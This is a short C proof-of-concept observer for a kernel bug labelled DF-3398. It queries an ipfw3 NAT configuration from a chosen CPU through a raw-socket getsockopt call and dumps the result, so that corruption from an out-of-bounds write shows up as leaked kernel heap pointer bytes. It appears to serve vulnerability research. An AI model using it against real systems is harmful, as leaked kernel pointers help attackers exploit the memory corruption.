DF-3398 / query_nat.c
/* * DF-3398 observer: read a NAT's alias configuration as seen from a chosen * CPU (getsockopt IP_FW_X -> IP_FW_NAT_GET runs in the caller's netisr CPU * context, ip_fw3_nat_ctx[mycpuid]). * * If the OOB write clobbered a neighbouring per-CPU cfg_alias, the alias IP * printed here turns into kernel-heap-pointer bytes. * * usage: query_nat <cpu> <nat_id> */ #include <sys/types.h> #include <sys/socket.h> #include <sys/usched.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define IP_FW_X 49 #define IP_FW_NAT_GET 71 typedef struct _ip_fw_x_header { uint16_t opcode; uint16_t _pad; } ip_fw_x_header; struct ioc_nat { int id; int count; struct in_addr ip[64]; }; int main(int argc, char **argv) { int cpu = atoi(argv[1]); int natid = atoi(argv[2]); unsigned char buf[4096]; socklen_t len; int s, fd; struct ioc_nat *ioc; if (usched_set(getpid(), USCHED_SET_CPU, &cpu, sizeof(cpu)) != 0) perror("usched_set"); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket"); return 1; } memset(buf, 0, sizeof(buf)); ((struct ioc_nat *)(buf + sizeof(ip_fw_x_header)))->id = natid; ((struct ioc_nat *)(buf + sizeof(ip_fw_x_header)))->count = 0; ((ip_fw_x_header *)buf)->opcode = IP_FW_NAT_GET; len = 512; fd = 512; /* valsize hint */ if (getsockopt(s, IPPROTO_IP, IP_FW_X, buf, &len) < 0) { perror("getsockopt"); return 1; } printf("cpu%d nat%d GET returned %lu bytes\n", cpu, natid, (unsigned long)len); ioc = (struct ioc_nat *)buf; for (fd = 0; fd * 4 + 8 <= (int)len; ) { /* raw stream: id,count,ip[] — just dump u32 words */ break; } { int i, n = len / 4; uint32_t *w = (uint32_t *)buf; for (i = 0; i < n; i++) printf("word[%d] = 0x%08x%s\n", i, w[i], (i >= 2) ? inet_ntoa(*(struct in_addr *)&w[i]) : ""); } return 0; } |